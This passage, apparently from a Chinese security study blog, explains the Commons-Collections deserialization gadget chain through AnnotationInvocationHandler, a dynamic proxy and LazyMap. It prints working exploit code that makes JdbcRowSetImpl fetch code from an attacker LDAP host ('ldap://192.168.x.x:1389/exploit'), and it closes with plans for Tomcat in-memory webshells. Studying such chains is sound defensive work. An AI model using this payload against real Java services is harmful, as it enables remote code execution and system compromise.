那么回到AnnotationInvocationHandler，看看它的readObject方法和invoke方法
public Object invoke(Object var1, Method var2, Object[] var3) {
//有點長，省略一些不太相關代碼，想詳細看的話，可以直接看看源碼
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4); // 注意這里，調用了this.memberValues.get()
// 省略后方代碼
}
}
// readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); // 關鍵在於這個this.memberValues.entrySet()
// 后面的代碼省略
}
// 構造函數
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2; // 注意這里this.memberValues就是傳進去的map實例
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
可以看到readObject方法中調用了this.memberValues.entrySet()，想象一下，如果這個this.memberValues是被動態代理創建的，那是不是就會進入代理類的invoke函數，而代理類又是AnnotationInvocationHandler，那就會調用上面的invoke方法，進而調用代理類內部map的get方法(也就是this.memberValues.get(var4)這一行)，而代理類的memberValues=lazyMap的話，直接就形成利用鏈了。來看看利用代碼：
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
// 獲取構造函數
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 創建代理類
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
// 動態代理，創建lazyMap實例
Map map1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
// 創建被反序列化的AnnotationInvocationHandler類
Object aa = constructor.newInstance(Override.class, map1);
// 本地寫文件
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(aa);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
這里可能也會有點繞，所以將真正反序列化執行AnnotationInvocationHandler.readObject方法的實例命名為aa，當aa.readObject執行后，會調用aa.memberValues.entrySet()，也就是map1.entrySet()，由於map1是被代理類invocationHandler動態創建的，所以執行map1.entrySet的時候，會進入invocationHandler.invoke()，而invoke方法中存在this.memberValues.get(var4)，這里就是代理類invocationHandler.memberValues.get()，代理類invocationHandler的memberValues就是一個lazyMap，所以成功到達ChainedTransformer！調用鏈如下
AnnotationInvocationHandler.readObject
memberValues.entrySet() 由於memberValues是被動態代理的，所以調用代理類的invoke方法，而代理類也是一個AnnotationInvocationHandler類
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.memberValues.get(xx) <=> lazyMap.get 代理類的memberValues是一個lazyMap
ChainedTransformer.transform(xx)
3 總結
因為面試和項目這個總結性的文章寫的思路有一些斷。學習過程中看過CC鏈中涉及到的源碼后，不得不佩服ysoserial原作者的代碼功底，tql！！ysoserial還有一些其它鏈，之后再研究研究。下一篇想寫一個在shiro回顯研究上看到的tomca 6 7 8 9全版本獲取request的方法，試試能不能拿來做tomcat全版本的內存馬